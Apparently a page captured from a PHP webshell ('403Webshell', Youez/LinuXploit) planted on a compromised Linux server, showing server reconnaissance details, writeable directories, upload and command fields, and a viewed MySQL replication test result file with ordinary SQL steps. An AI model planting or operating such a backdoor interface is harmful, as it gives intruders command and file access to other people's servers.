403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.88.14
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/r/rpl_mts_slave_preserve_commit_order.result
include/master-slave.inc
Warnings:
Note	####	Sending passwords in plain text without SSL/TLS is extremely insecure.
Note	####	Storing MySQL user name or password information in the master info repository is not secure and is therefore not recommended. Please consider using the USER and PASSWORD connection options for START SLAVE; see the 'START SLAVE Syntax' in the MySQL Manual for more information.
[connection master]
[connection master]
CREATE TABLE t1 (a INT) ENGINE = InnoDB;
include/sync_slave_sql_with_master.inc
[connection slave]
FLUSH BINARY LOGS;
#
# Verify the transactions are ordered correctly on slave
#
[connection master]
SET @save_debug = @@GLOBAL.debug;
SET GLOBAL debug = "d,set_commit_parent_100";
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (1);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (2);
INSERT INTO t1(a) VALUES (3);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (4);
INSERT INTO t1(a) VALUES (5);
INSERT INTO t1(a) VALUES (6);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (7);
INSERT INTO t1(a) VALUES (8);
INSERT INTO t1(a) VALUES (9);
INSERT INTO t1(a) VALUES (10);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (11);
INSERT INTO t1(a) VALUES (12);
INSERT INTO t1(a) VALUES (13);
INSERT INTO t1(a) VALUES (14);
INSERT INTO t1(a) VALUES (15);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
LOCK TABLE t1 WRITE;
[connection master]
INSERT INTO t1(a) VALUES (16);
INSERT INTO t1(a) VALUES (17);
INSERT INTO t1(a) VALUES (18);
INSERT INTO t1(a) VALUES (19);
INSERT INTO t1(a) VALUES (20);
INSERT INTO t1(a) VALUES (21);
include/save_master_pos.inc
[connection slave]
UNLOCK TABLES;
include/sync_slave_sql.inc
SET DEBUG_SYNC = 'RESET';
[connection slave]
DROP TABLE t1;
CREATE TABLE t1 (a INT, id INT AUTO_INCREMENT KEY) ENGINE = InnoDB;
SELECT * FROM t1 WHERE id <> a;
a	id
include/assert.inc ['There are no mismatched rows']
include/assert.inc ['There are no row which is null']
include/assert.inc ['There are 21 rows']
[connection master]
SET GLOBAL debug = @save_debug;
DROP TABLE t1;
include/sync_slave_sql_with_master.inc
#
# Verify that it will generate a warning if slave-preserve-commit is
# used with DB PARTITIONED MTS together
#
include/stop_slave_sql.inc
SET GLOBAL slave_parallel_type = 'DATABASE';
START SLAVE SQL_THREAD;
ERROR HY000: slave_preserve_commit_order is not supported when slave_parallel_type is DATABASE.
SET GLOBAL slave_parallel_type = 'LOGICAL_CLOCK';
include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit